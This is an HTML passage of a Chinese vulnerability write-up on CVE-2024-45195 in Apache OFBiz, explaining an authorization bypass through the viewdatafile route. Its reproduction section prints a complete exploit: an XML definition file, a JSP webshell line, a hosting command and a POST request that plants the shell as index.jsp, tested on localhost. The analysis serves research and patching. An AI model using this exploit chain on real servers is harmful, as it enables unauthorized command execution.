Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">2. CVE-2024-45195</span>
  </h2><h3 style="margin-bottom: 16px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">2-1. 前言</strong>  </h3><p style="margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong></p><section style="margin-bottom: 8px;"><span style="letter-spacing: 0.034em;font-family: Cambria;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;font-size: 18px;"><a href="https://issues.apache.org/jira/browse/OFBIZ-13130" target="_blank">https://issues.apache.org/jira/browse/OFBIZ-13130</a></span></section><p><span style="font-family: Cambria;letter-spacing: 0.034em;font-size: 18px;"><a href="https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy" target="_blank">https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy</a></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">通过目录遍历可以绕过授权验证实现命令执行。</span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">Apache OFBiz &lt; 18.12.16</span><span style="font-family: Cambria;font-size: 12pt;">   <o:page></o:page></span></p><h3 style="margin-bottom: 16px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">2-2. 漏洞复现</strong><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;"></strong>
  </h3><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">rceschema.xml:</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;data-files xsi:noNamespaceSchemaLocation=&#34;<a href="http://ofbiz.apache.org/dtds/datafiles.xsd" target="_blank">http://ofbiz.apache.org/dtds/datafiles.xsd</a>&#34; xmlns:xsi=&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;&gt;</span></code><code><span class="code-snippet_outer">    &lt;data-file name=&#34;rce&#34; separator-style=&#34;fixed-length&#34; type-code=&#34;text&#34; start-line=&#34;0&#34; encoding-type=&#34;UTF-8&#34;&gt;</span></code><code><span class="code-snippet_outer">        &lt;record name=&#34;rceentry&#34; limit=&#34;many&#34;&gt;</span></code><code><span class="code-snippet_outer">            &lt;field name=&#34;jsp&#34; type=&#34;String&#34; length=&#34;60&#34; position=&#34;0&#34;&gt;&lt;/field&gt;</span></code><code><span class="code-snippet_outer">        &lt;/record&gt;</span></code><code><span class="code-snippet_outer">    &lt;/data-file&gt;</span></code><code><span class="code-snippet_outer">&lt;/data-files&gt;</span></code></pre></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">rcereport.csv:</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">&lt;% Runtime.getRuntime().exec(request.getParameter(&#34;cmd&#34;));%&gt;</span></code></pre></section><section style="margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">起一个http服务，将这两个文件放到目录下。</span><span style="font-family: 宋体;font-variant: normal;text-transform: none;">             <br/></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">python -m http.server 8888</span></code></pre></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">请求包：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1              </span></code><code><span class="code-snippet_outer">Host: 127.0.0.1:8443              </span></code><code><span class="code-snippet_outer">Cookie: OFBiz.Visitor=10100              </span></code><code><span class="code-snippet_outer">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0              </span></code><code><span class="code-snippet_outer">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8              </span></code><code><span class="code-snippet_outer">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2              </span></code><code><span class="code-snippet_outer">Accept-Encoding: gzip, deflate, br              </span></code><code><span class="code-snippet_outer">Upgrade-Insecure-Requests: 1              </span></code><code><span class="code-snippet_outer">Sec-Fetch-Dest: document              </span></code><code><span class="code-snippet_outer">Sec-Fetch-Mode: navigate              </span></code><code><span class="code-snippet_outer">Sec-Fetch-Site: none              </span></code><code><span class="code-snippet_outer">Sec-Fetch-User: ?1              </span></code><code><span class="code-snippet_outer">Priority: u=0, i              </span></code><code><span class="code-snippet_outer">Te: trailers              </span></code><code><span class="code-snippet_outer">Connection: keep-alive              </span></code><code><span class="code-snippet_outer">Content-Type: application/x-www-form-urlencoded              </span></code><code><span class="code-snippet_outer">Content-Length: 241              </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">DATAFILE_LOCATION=<a href="http://127.0.0.1:8888/rcereport.csv&amp;DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&amp;DATAFILE_IS_URL=true&amp;DEFINITION_LOCATION=http://127.0.0.1:8888/rceschema.xml&amp;DEFINITION_IS_URL=true&amp;DEFINITION_NAME=rce" target="_blank">http://127.0.0.1:8888/rcereport.csv&amp;DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&amp;DATAFILE_IS_URL=true&amp;DEFINITION_LOCATION=http://127.0.0.1:8888/rceschema.xml&amp;DEFINITION_IS_URL=true&amp;DEFINITION_NAME=rce</a></span></code></pre></section><p><img class="rich_pages wxw-img" data-backh="295" data-backw="560" data-imgfileid="100005110" data-ratio="0.5268518518518519" style="font-family: Cambria;font-size: var(--articleFontsize);letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0ae59354&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFHccYRqppb2WXIOrfmNric55d3giaUArfrkMibvUQQOZQloCrLrL4RaMdA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">访问 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);"><a href="https://127.0.0.1:8443/accounting/index.jsp?cmd=calc" target="_blank">https://127.0.0.1:8443/accounting/index.jsp?cmd=calc</a></span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">，成功执行命令。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="380" data-backw="578" data-galleryid="" data-imgfileid="100005150" data-ratio="0.6584615384615384" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=f6b047a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFY7wWgELSC8koicNUCaEI9PUpw8K5lYZghIqiaUIu1Zujpurx1uvwq5zw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"><br/></span></p><h3><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">2-3. 漏洞分析</strong>  </h3><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">权限绕过的原理和之前一样，通过不需要鉴权的路由来绕过。触发命令执行的文件不同，之前利用的是 ProgramExport.groovy，现在利用 ViewDataFile.groovy 。</span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">在 controller.xml 中定义了路由</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/viewdatafile</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">security.auth</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">为true，直接访问需要权限。视图指向</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">component://webtools/widget/MiscScreens.xml#viewdatafile</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">，会调用 ViewDataFile.groovy 脚本。</span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="217" data-backw="560" data-imgfileid="100005109" data-ratio="0.38669673055242393" style="width: 100%;height: auto;" data-type="png" data-w="887" src="https://wechat2rss.xlab.app/img-proxy/?k=9dd9e72c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSF2icKYNxXfraXoCvpkpAHNlKUV9MGpx3x4rbSsb41ZdA7zQdibCjTXt1Q%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">解读一下 ViewDataFile.groovy 的作用：</span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">1.从请求中获取多个参数的值；</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="217" data-backw="560" data-imgfileid="100005111" data-ratio="0.38737446197991393" style="width: 100%;height: auto;" data-type="png" data-w="697" src="https://wechat2rss.xlab.app/img-proxy/?k=a5f3301b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFBNgpEicqp2ib5YMzVFNDysPt768WzHMVZgcDhXhP1f6qsUkxyFiaWOoibA%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">2. DATAFILE_IS_URL 和 DEFINITION_IS_URL 的值表示 DATAFILE_LOCATION 和 DEFINITION_LOCATION 是否为一个 URL，为 ture 则直接创建URL对象，为 false 则将文件路径转换为 URL。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;font-family: 宋体;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"><img class="rich_pages wxw-img" data-backh="199" data-backw="578" data-imgfileid="100005133" data-ratio="0.34514285714285714" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=8bdb333a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFyJd1IM8OOq3ku3Abg8LVHvdKNOvx220uLfMTIA4LicHUiaVE0BpicHkSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">3. 从 DEFINITION_LOCATION 的 URL 地址获取文件中定义的数据文件的名称列表。满足 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">dataFileUrl &amp;&amp; definitionUrl &amp;&amp; definitionNames</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 为 true，则根据定义文件 DEFINITION_LOCATION 的内容和 DEFINITION_NAME 名称，从 DATAFILE_LOCATION 地址读取数据文件内容。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="359" data-backw="578" data-imgfileid="100005134" data-ratio="0.6217142857142857" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=3a6c1f66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFyHzu99rVlxBsyH6f6cmRzBVXOFV3ngtK0Az9gdDCOiamiaUxNVzJ10yg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">4. 将上面读取到的数据文件内容写入 DATAFILE_SAVE 指定的文件。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="177" data-backw="560" data-imgfileid="100005112" data-ratio="0.3165137614678899" style="width: 100%;height: auto;" data-type="png" data-w="654" src="https://wechat2rss.xlab.app/img-proxy/?k=5b43b169&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFWEBQB2NibmstC4iblUZGsEBoAAn9Bz2kcGAep3LibKDcOm7rIGnlByz4w%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 24px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">也就是说，该文件实现了一个数据读取和写入的功能，并且能解析 JSP 文件，也就是能通过写入JSP shell 来实现命令执行。</span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">定义文件的格式在</span></section><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="15" data-source-title="https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz%27s+Data+File+Tools"><section class="js_blockquote_digest"><section>《OFBiz 的数据文件工具》<span style="display: none;line-height: 0px;">‍</span></section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A15%2C%22text%22%3A%22%E3%80%8AOFBiz%20%E7%9A%84%E6%95%B0%E6%8D%AE%E6%96%87%E4%BB%B6%E5%B7%A5%E5%85%B7%E3%80%8B%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fcwiki.apache.org%2Fconfluence%2Fdisplay%2FOFBIZ%2FOFBiz%2527s%2BData%2BFile%2BTools%22%7D"><span class="blockquote_other"><a href="https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz%27s+Data+File+Tools" target="_blank">https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz%27s+Data+File+Tools</a></span></section></blockquote><section style="margin-bottom: 8px;"><span style="font-family: Cambria;font-size: 18px;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;"></span><span style="font-family: Cambria;font-size: 18px;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;">中有介绍，通过 xml 格式来定义要写入的数据文件的信息。</span><br/></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">xml 文件中 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">data-file.name</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 表示数据文件名称（并非文件名），需与 POST 传入的 DEFINITION_NAME 的值一致，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">record.name</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 表示实体名称。</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">field.name</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 表示实体字段的名称，也就是指向 DATAFILE_LOCATION 文件，读取数据文件后会使用该名称以键值对的形式保存。</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">field.type</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 表示数据类型，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">field.length</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 表示字段的长度，需与实际数据长度一致，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">field.position</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 表示该字段开始读取的位置。</span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">调试看看，简单过一下权限绕过和视图解析的几个点。</span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="297" data-backw="560" data-imgfileid="100005114" data-ratio="0.5296296296296297" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=13f19836&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFbAibzhKHn79sedCUmZViaCm8N65OlFKWPFpYHGDuaEkXjmWmBIxseRYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">进入 ViewDataFile.groovy，获取了前端传入的参数，dataFileSave 为数据文件写入的文件路径，dataFileLoc 为数据文件的 URL 地址，definitionLoc 为xml定义文件的URL地址，definitionName 为定义文件中定义的名称。</span></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">dataFileIsUrl 和definitionIsUrl 为true，表示文件地址为URL格式，所以 dataFileUrl 和 definitionUrl 分别为数据文件和定义文件的URL对象。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="312" data-backw="578" data-imgfileid="100005135" data-ratio="0.5405714285714286" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=d5c8c451&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFQnvl95I0VXKZ1TBiaSDCibLez52DmxcE6ZiaYG7D1xycAgf6ThQWYj6Ng%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">跟进 ModelDataFileReader.getModelDataFileReader()，要 new 一个 ModelDataFileReader 对象，在 createModelDataFiles() 中去读取并解析远程的xml文件，返回 ModelDataFileReader 对象，并从中获取数据文件名称。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="382" data-backw="578" data-imgfileid="100005136" data-ratio="0.6605714285714286" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=64a1f8e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSF6uF7yVnVNPo9Ik321ia7sF1UG3dt3QmspSODuakfGK8IU7oZ05ndMwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">接着跟进 DataFile.readFile()，同样调用了 ModelDataFileReader.getModelDataFileReader()，从中获取与 dataFileName 对应的 ModelDataFile 对象，包装成 DataFile 对象返回，其中包含了数据文件的结构信息。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="345" data-backw="578" data-imgfileid="100005137" data-ratio="0.5977142857142858" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=f2c7902d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFqOaTj7ficYgIX8j2naIHIKsniaVESmQTxebYbzYu7iaUoS7kjDibNet1dA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">然后调用 dataFile.readDataFile(fileUrl)，逐行读取远程数据文件的内容，以键值对的形式保存到 DataFile 对象的实体字段中。<br/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 